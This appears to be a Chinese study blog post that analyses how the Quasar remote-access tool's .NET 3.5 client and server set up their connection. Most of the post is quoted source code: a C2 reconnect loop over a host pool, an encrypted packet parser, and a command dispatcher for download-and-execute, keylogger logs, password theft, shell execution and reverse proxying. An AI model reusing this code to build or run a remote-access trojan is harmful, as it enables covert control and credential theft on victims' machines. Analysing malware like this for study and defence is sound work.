Quasar (.NET3.5)通信建立,持续更新中

Quasar (.NET3.5)通信建立

quasar 是一个知名的远控软件,这里解析它在.net3.5的版本。
3.5 可以解决windows的兼容性问题,
即:经过一些方法编译为特定的计算机代码,可以在windows7-windows11 的内存中加载执行

Client 端

初始化函数 Initialize()

包含一些系统参数的获取,以及初始化客户端的网络配置,这里重点关注网络初始化的配置!

位置:Program.cs => Main =>Initialize()

初始化网络配置 InitializeClient()

位置:Initialize()=>InitializeClient()

private static void InitializeClient()
{
    ConnectClient = new Client();
	//这里将所有的包类型都 封装了 Type[] 数组中,以便于后续解析网络包的时候,通过反射进行操作
    ConnectClient.AddTypesToSerializer(new Type[]
    {
        typeof (Core.Packets.ServerPackets.GetAuthentication),
        typeof (Core.Packets.ServerPackets.DoClientDisconnect),
        typeof (Core.Packets.ServerPackets.DoClientReconnect),
        typeof (Core.Packets.ServerPackets.DoClientUninstall),
        typeof (Core.Packets.ServerPackets.DoDownloadAndExecute),
        typeof (Core.Packets.ServerPackets.DoUploadAndExecute),
        typeof (Core.Packets.ServerPackets.GetDesktop),
        typeof (Core.Packets.ServerPackets.GetProcesses),
        typeof (Core.Packets.ServerPackets.DoProcessKill),
        typeof (Core.Packets.ServerPackets.DoProcessStart),
        typeof (Core.Packets.ServerPackets.GetDrives),
        typeof (Core.Packets.ServerPackets.GetDirectory),
        typeof (Core.Packets.ServerPackets.DoDownloadFile),
        typeof (Core.Packets.ServerPackets.DoMouseEvent),
        typeof (Core.Packets.ServerPackets.DoKeyboardEvent),
        typeof (Core.Packets.ServerPackets.GetSystemInfo),
        typeof (Core.Packets.ServerPackets.DoVisitWebsite),
        typeof (Core.Packets.ServerPackets.DoShowMessageBox),
        typeof (Core.Packets.ServerPackets.DoClientUpdate),
        typeof (Core.Packets.ServerPackets.GetMonitors),
        typeof (Core.Packets.ServerPackets.DoShellExecute),
        typeof (Core.Packets.ServerPackets.DoPathRename),
        typeof (Core.Packets.ServerPackets.DoPathDelete),
        typeof (Core.Packets.ServerPackets.DoShutdownAction),
        typeof (Core.Packets.ServerPackets.GetStartupItems),
        typeof (Core.Packets.ServerPackets.DoStartupItemAdd),
        typeof (Core.Packets.ServerPackets.DoStartupItemRemove),
        typeof (Core.Packets.ServerPackets.DoDownloadFileCancel),
        typeof (Core.Packets.ServerPackets.GetKeyloggerLogs),
        typeof (Core.Packets.ServerPackets.DoUploadFile),
        typeof (Core.Packets.ServerPackets.GetPasswords),
        typeof (Core.Packets.ClientPackets.GetAuthenticationResponse),
        typeof (Core.Packets.ClientPackets.SetStatus),
        typeof (Core.Packets.ClientPackets.SetStatusFileManager),
        typeof (Core.Packets.ClientPackets.SetUserStatus),
        typeof (Core.Packets.ClientPackets.GetDesktopResponse),
        typeof (Core.Packets.ClientPackets.GetProcessesResponse),
        typeof (Core.Packets.ClientPackets.GetDrivesResponse),
        typeof (Core.Packets.ClientPackets.GetDirectoryResponse),
        typeof (Core.Packets.ClientPackets.DoDownloadFileResponse),
        typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
        typeof (Core.Packets.ClientPackets.GetMonitorsResponse),
        typeof (Core.Packets.ClientPackets.DoShellExecuteResponse),
        typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
        typeof (Core.Packets.ClientPackets.GetKeyloggerLogsResponse),
        typeof (Core.Packets.ClientPackets.GetPasswordsResponse),
        typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
        typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
        typeof (Core.ReverseProxy.Packets.ReverseProxyData),
        typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
    });
   // 注册事件,后面将重点关注 ClientRead
    ConnectClient.ClientState += ClientState;
    ConnectClient.ClientRead += ClientRead;
    ConnectClient.ClientFail += ClientFail;
}      

注册ConnectClient 相关的事件

网络连接 1 Connect()

位置:Main=>Connect()

/// <summary>
/// 连接有四种状态:
/// 1,2. 重连 连接失败
/// 3.是否已经连接
/// 4.是否需要断连
/// </summary>
private static void Connect()
{
    // 需要重连 && 连接失败
    while (_reconnect && !SystemCore.Disconnect)
    {
        if (!_connected)
        {
            Thread.Sleep(100 + new Random().Next(0, 250));
            // 轮询所有的服务端ip池
            Host host = _hosts.GetNextHost();
            // ConnectClient 对象的 连接操作 稍后详细说明
            ConnectClient.Connect(host.Hostname, host.Port);

            Thread.Sleep(200);

            // 耗时操作是这里需要轮询 ip 池,
            // Application.DoEvents()让程序不会假死
            Application.DoEvents();
        }
        
        while (_connected) // hold client open
        {
            Application.DoEvents();
            //1000ms = 1s
            //2500ms = 2.5s
            Thread.Sleep(2500);
        }
        
        // 观测连接关闭操作位:退出连接
        if (SystemCore.Disconnect)
        {
            ConnectClient.Disconnect();
            return;
        }

        Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750));
    }
}

网络连接 2 Client.Connect(string host, ushort port)

位置:Main=>Connect()=>ConnectClient.Connect(host.Hostname, host.Port)

 public void Connect(string host, ushort port)
 {
     if (_serializer == null) throw new Exception("Serializer not initialized");

     try
     {
         Disconnect();
         Initialize();
         // socket 的 tcp 协议配置
         _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
         _handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);

         _readBuffer = new byte[BUFFER_SIZE];
         _tempHeader = new byte[HEADER_SIZE];
         // ip 端口配置
         _handle.Connect(host, port);

         if (_handle.Connected)
         {
             // flag 解析
             //None:不使用任何标志。
             //OutOfBand:处理带外数据。
             //Peek:窥视(Peek)接收缓冲区中的消息,但不将其从缓冲区中删除。
             //DontRoute:发送数据时不使用路由表。
             //MaxIOVectorLength:用于指定发送和接收数据时使用的 WSABUF 结构的数量的标准值。
             //Truncated:消息太大,无法放入指定的缓冲区,并被截断。
             //ControlDataTruncated:控制数据无法放入内部 64 KB 缓冲区,并被截断。
             //Broadcast:指示广播数据包。
             //Multicast:指示组播数据包。
             //Partial:部分发送或接收消息。
             _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null);
             OnClientState(true);
         }
     }
     catch (Exception ex)
     {
         OnClientFail(ex);
     }
 }

重点关注 _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null)

讲解下 BeginReceive 这个函数的作用:

  1. 这个函数是异步的
  2. _readBuffer :接受数据的容器
  3. 0: 读取的起始位置
  4. _readBuffer.Length: 接受数据包的长度
  5. AsyncReceive:回调方法

现在我们需要往 回调方法走,看看到底做了什么

BeginReceive 的回调函数 AsyncReceive(IAsyncResult result)

private void AsyncReceive(IAsyncResult result)
{
    try
    {
        int bytesTransferred;

        try
        {
            bytesTransferred = _handle.EndReceive(result);

            if (bytesTransferred <= 0)
            {
                OnClientState(false);
                return;
            }
        }
        catch (Exception)
        {
            OnClientState(false);
            return;
        }

        byte[] received = new byte[bytesTransferred];
        Array.Copy(_readBuffer, received, received.Length);
        lock (_readBuffers)
        {
            _readBuffers.Enqueue(received);
        }

        lock (_readingPacketsLock)
        {
            if (!_readingPackets)
            {
                _readingPackets = true;
                ThreadPool.QueueUserWorkItem(AsyncReceive);
            }
        }
    }
    catch
    {
    }

    try
    {
        // 递归异步模式
        _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null);
    }
    catch (ObjectDisposedException)
    {
    }
    catch (Exception ex)
    {
        OnClientFail(ex);
    }
}

这里将接收到的buffer 放到队列里面,然后调用异步方法去做操作,下一步我们将去探究下

这里用了递归异步模式,高性能收包模式

解析包头的函数 AsyncReceive(object state)

位置:AsyncReceive(IAsyncResult result)=>AsyncReceive(object state)

private void AsyncReceive(object state)
{
    while (true)
    {
        byte[] readBuffer;
        lock (_readBuffers)
        {
            if (_readBuffers.Count == 0)
            {
                // 字节队列里面没有东西,关闭读取参数
                lock (_readingPacketsLock)
                {
                    _readingPackets = false;
                }
                return;
            }

            readBuffer = _readBuffers.Dequeue();
        }

        _readableDataLen += readBuffer.Length;
        bool process = true;
        while (process)
        {
            // 这里开始循环解析,包头+包体
            switch (_receiveState)
            {
                case ReceiveType.Header:
                    {
                        // 计算出 payloadLen的值
                        if (_readableDataLen >= HEADER_SIZE)
                        { // we can read the header                                    
                            int headerLength = (_appendHeader)
                                ? HEADER_SIZE - _tempHeaderOffset
                                : HEADER_SIZE;

                            try
                            {
                                if (_appendHeader)
                                {
                                    try
                                    {
                                        Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset,
                                            headerLength);
                                    }
                                    catch (Exception ex)
                                    {
                                        process = false;
                                        OnClientFail(ex);
                                        break;
                                    }
                                    // 小端序,字节转整数 ,这是自定义的
                                    // 一般tcp的解析都是大端序
                                    _payloadLen = BitConverter.ToInt32(_tempHeader, 0);
                                    _tempHeaderOffset = 0;
                                    _appendHeader = false;
                                }
                                else
                                {
                                    _payloadLen = BitConverter.ToInt32(readBuffer, _readOffset);
                                }

                                if (_payloadLen <= 0 || _payloadLen > MAX_PACKET_SIZE)
                                    throw new Exception("invalid header");
                            }
                            catch (Exception)
                            {
                                process = false;
                                Disconnect();
                                break;
                            }

                            _readableDataLen -= headerLength;
                            _readOffset += headerLength;
                            _receiveState = ReceiveType.Payload;
                        }
                        else // _parentServer.HEADER_SIZE < _readableDataLen
                        {
                            try
                            {
                                Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, _readableDataLen);
                            }
                            catch (Exception ex)
                            {
                                process = false;
                                OnClientFail(ex);
                                break;
                            }                                    
                            _tempHeaderOffset += _readableDataLen;
                            _appendHeader = true;
                            process = false;
                        }
                        break;
                    }
                case ReceiveType.Payload:
                    {
                        if (_payloadBuffer == null || _payloadBuffer.Length != _payloadLen)
                            _payloadBuffer = new byte[_payloadLen];

                        int length = (_writeOffset + _readableDataLen >= _payloadLen)
                            ? _payloadLen - _writeOffset
                            : _readableDataLen;

                        try
                        {
                            Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length);
                        }
                        catch (Exception ex)
                        {
                            process = false;
                            OnClientFail(ex);
                            break;
                        }

                        _writeOffset += length;
                        _readOffset += length;
                        _readableDataLen -= length;

                        if (_writeOffset == _payloadLen)
                        {
                            // 压缩启用控制符
                            if (encryptionEnabled)
                                // 解密
                                _payloadBuffer = AES.Decrypt(_payloadBuffer);

                            bool isError = _payloadBuffer.Length == 0; // check if payload decryption failed

                            if (_payloadBuffer.Length > 0)
                            {                                        
                                if (compressionEnabled)
                                    // 这里要有一层解压
                                    _payloadBuffer = SafeQuickLZ.Decompress(_payloadBuffer);

                                isError = _payloadBuffer.Length == 0; // check if payload decompression failed
                            }

                            if (isError)
                            {
                                process = false;
                                Disconnect();
                                break;
                            }

                            using (MemoryStream deserialized = new MemoryStream(_payloadBuffer))
                            {
                                IPacket packet = (IPacket)_serializer.Deserialize(deserialized);
                                //  这开启内存触发了读包
                                OnClientRead(packet);
                            }

                            _receiveState = ReceiveType.Header;
                            _payloadBuffer = null;
                            _payloadLen = 0;
                            _writeOffset = 0;
                        }

                        if (_readableDataLen == 0)
                            process = false;

                        break;
                    }
            }
        }

        if (_receiveState == ReceiveType.Header)
        {
            _writeOffset = 0; // prepare for next packet
        }
        _readOffset = 0;
        _readableDataLen = 0;
    }
}

swtich 里面先根据 header 拿到 payload的长度

这里再根据payload的实际值,开辟内存,作为参数,调用OnClientRead(packet);

回到InitializeClient,关注ClientRead(Client client, IPacket packet) 处理

private static void ClientRead(Client client, IPacket packet)
{
    // 包 全部交由这个函数去处理
    PacketHandler.HandlePacket(client, packet);
}
public static class PacketHandler
{
    public static void HandlePacket(Client client, IPacket packet)
    {
        var type = packet.GetType();

        if (type == typeof(ServerPackets.GetAuthentication))
        {
            CommandHandler.HandleGetAuthentication((ServerPackets.GetAuthentication)packet, client);
        }
        else if (type == typeof(ServerPackets.DoDownloadAndExecute))
        {
            CommandHandler.HandleDoDownloadAndExecute((ServerPackets.DoDownloadAndExecute)packet,
                client);
        }
        else if (type == typeof(ServerPackets.DoUploadAndExecute))
        {
            CommandHandler.HandleDoUploadAndExecute((ServerPackets.DoUploadAndExecute)packet, client);
        }
        else if (type == typeof(ServerPackets.DoClientDisconnect))
        {
            Program.Disconnect();
        }
        else if (type == typeof(ServerPackets.DoClientReconnect))
        {
            Program.Disconnect(true);
        }
        else if (type == typeof(ServerPackets.DoClientUninstall))
        {
            CommandHandler.HandleDoClientUninstall((ServerPackets.DoClientUninstall)packet, client);
        }
        else if (type == typeof(ServerPackets.GetDesktop))
        {
            CommandHandler.HandleGetDesktop((ServerPackets.GetDesktop)packet, client);
        }
        else if (type == typeof(ServerPackets.GetProcesses))
        {
            CommandHandler.HandleGetProcesses((ServerPackets.GetProcesses)packet, client);
        }
        else if (type == typeof(ServerPackets.DoProcessKill))
        {
            CommandHandler.HandleDoProcessKill((ServerPackets.DoProcessKill)packet, client);
        }
        else if (type == typeof(ServerPackets.DoProcessStart))
        {
            CommandHandler.HandleDoProcessStart((ServerPackets.DoProcessStart)packet, client);
        }
        else if (type == typeof(ServerPackets.GetDrives))
        {
            CommandHandler.HandleGetDrives((ServerPackets.GetDrives)packet, client);
        }
        else if (type == typeof(ServerPackets.GetDirectory))
        {
            CommandHandler.HandleGetDirectory((ServerPackets.GetDirectory)packet, client);
        }
        else if (type == typeof(ServerPackets.DoDownloadFile))
        {
            CommandHandler.HandleDoDownloadFile((ServerPackets.DoDownloadFile)packet, client);
        }
        else if (type == typeof(ServerPackets.DoUploadFile))
        {
            CommandHandler.HandleDoUploadFile((ServerPackets.DoUploadFile)packet, client);
        }
        else if (type == typeof(ServerPackets.DoMouseEvent))
        {
            CommandHandler.HandleDoMouseEvent((ServerPackets.DoMouseEvent)packet, client);
        }
        else if (type == typeof(ServerPackets.DoKeyboardEvent))
        {
            CommandHandler.HandleDoKeyboardEvent((ServerPackets.DoKeyboardEvent)packet, client);
        }
        else if (type == typeof(ServerPackets.GetSystemInfo))
        {
            CommandHandler.HandleGetSystemInfo((ServerPackets.GetSystemInfo)packet, client);
        }
        else if (type == typeof(ServerPackets.DoVisitWebsite))
        {
            CommandHandler.HandleDoVisitWebsite((ServerPackets.DoVisitWebsite)packet, client);
        }
        else if (type == typeof(ServerPackets.DoShowMessageBox))
        {
            CommandHandler.HandleDoShowMessageBox((ServerPackets.DoShowMessageBox)packet, client);
        }
        else if (type == typeof(ServerPackets.DoClientUpdate))
        {
            CommandHandler.HandleDoClientUpdate((ServerPackets.DoClientUpdate)packet, client);
        }
        else if (type == typeof(ServerPackets.GetMonitors))
        {
            CommandHandler.HandleGetMonitors((ServerPackets.GetMonitors)packet, client);
        }
        else if (type == typeof(ServerPackets.DoShellExecute))
        {
            CommandHandler.HandleDoShellExecute((ServerPackets.DoShellExecute)packet, client);
        }
        else if (type == typeof(ServerPackets.DoPathRename))
        {
            CommandHandler.HandleDoPathRename((ServerPackets.DoPathRename)packet, client);
        }
        else if (type == typeof(ServerPackets.DoPathDelete))
        {
            CommandHandler.HandleDoPathDelete((ServerPackets.DoPathDelete)packet, client);
        }
        else if (type == typeof(ServerPackets.DoShutdownAction))
        {
            CommandHandler.HandleDoShutdownAction((ServerPackets.DoShutdownAction)packet, client);
        }
        else if (type == typeof(ServerPackets.GetStartupItems))
        {
            CommandHandler.HandleGetStartupItems((ServerPackets.GetStartupItems)packet, client);
        }
        else if (type == typeof(ServerPackets.DoStartupItemAdd))
        {
            CommandHandler.HandleDoStartupItemAdd((ServerPackets.DoStartupItemAdd)packet, client);
        }
        else if (type == typeof(ServerPackets.DoStartupItemRemove))
        {
            CommandHandler.HandleDoStartupItemRemove((ServerPackets.DoStartupItemRemove)packet, client);
        }
        else if (type == typeof(ServerPackets.DoDownloadFileCancel))
        {
            CommandHandler.HandleDoDownloadFileCancel((ServerPackets.DoDownloadFileCancel)packet,
                client);
        }
        else if (type == typeof(ServerPackets.GetKeyloggerLogs))
        {
            CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);
        }
        else if (type == typeof(ServerPackets.GetPasswords))
        {
            CommandHandler.HandleGetPasswords((ServerPackets.GetPasswords)packet, client);
        }
        else if (type == typeof(ReverseProxy.Packets.ReverseProxyConnect) ||
                 type == typeof(ReverseProxy.Packets.ReverseProxyConnectResponse) ||
                 type == typeof(ReverseProxy.Packets.ReverseProxyData) ||
                 type == typeof(ReverseProxy.Packets.ReverseProxyDisconnect))
        {
            ReverseProxyCommandHandler.HandleCommand(client, packet);
        }
    }
}

断点调试发现,服务端首先发送的是认证包,即走的这个判断

if (type == typeof(ServerPackets.GetAuthentication))
{
    CommandHandler.HandleGetAuthentication((ServerPackets.GetAuthentication)packet, client);
}

将系统信息发给客户端做判断,至此client 端 的网络请求便走通了

Server端

关注FrmMain_Load 的加载内容

private void FrmMain_Load(object sender, EventArgs e)
{
    // 初始化
    InitializeServer();
    // 监听
    AutostartListeningP();
}

初始化ConnectionHandler

private void InitializeServer()
{
    ConServer = new ConnectionHandler();

    ConServer.ServerState += ServerState;
    ConServer.ClientConnected += ClientConnected;
    ConServer.ClientDisconnected += ClientDisconnected;
}

开启端口监听

private void AutostartListeningP()
{
    // 自动监听 不懂
    // upnp 主要是为了端口映射
    if (Settings.AutoListen && Settings.UseUPnP)
    {
        UPnP.Initialize(Settings.ListenPort);
        ConServer.Listen(Settings.ListenPort);
    }
    else if (Settings.AutoListen)
    {
        UPnP.Initialize();
        ConServer.Listen(Settings.ListenPort);
    }
    else
    {
        UPnP.Initialize();
    }

    if (Settings.EnableNoIPUpdater)
    {
        NoIpUpdater.Start();
    }
}
posted @ 2024-05-29 12:11  hxdyjx  阅读(27)  评论(0编辑  收藏  举报